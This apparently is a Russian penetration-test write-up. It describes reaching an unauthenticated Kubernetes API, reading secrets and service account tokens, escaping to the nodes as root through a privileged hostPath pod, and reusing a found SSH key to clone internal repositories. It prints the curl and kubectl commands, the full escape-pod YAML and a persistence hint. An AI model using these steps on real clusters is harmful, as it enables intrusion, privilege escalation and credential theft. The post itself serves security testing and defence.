Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.

На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?

К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:

proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets

Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.

Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: <my-pod>
  name: <my-pod>
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - 2d
    image: <link_to_image>
    name: <my-pod>
    volumeMounts:
    - mountPath: /mnt/
      name: host-filesystem
    resources: {}
    securityContext:
      privileged: true
      runAsUser: 0
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  nodeName: <node_name>
  hostNetwork: true
  hostPID: true
  hostIPC: true
status: {}

Команда для создания пода:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>

После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash

chroot /mnt

Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде.

После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:

https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java

А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.

git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back

К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.

Выводы:

Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.

Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.

Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.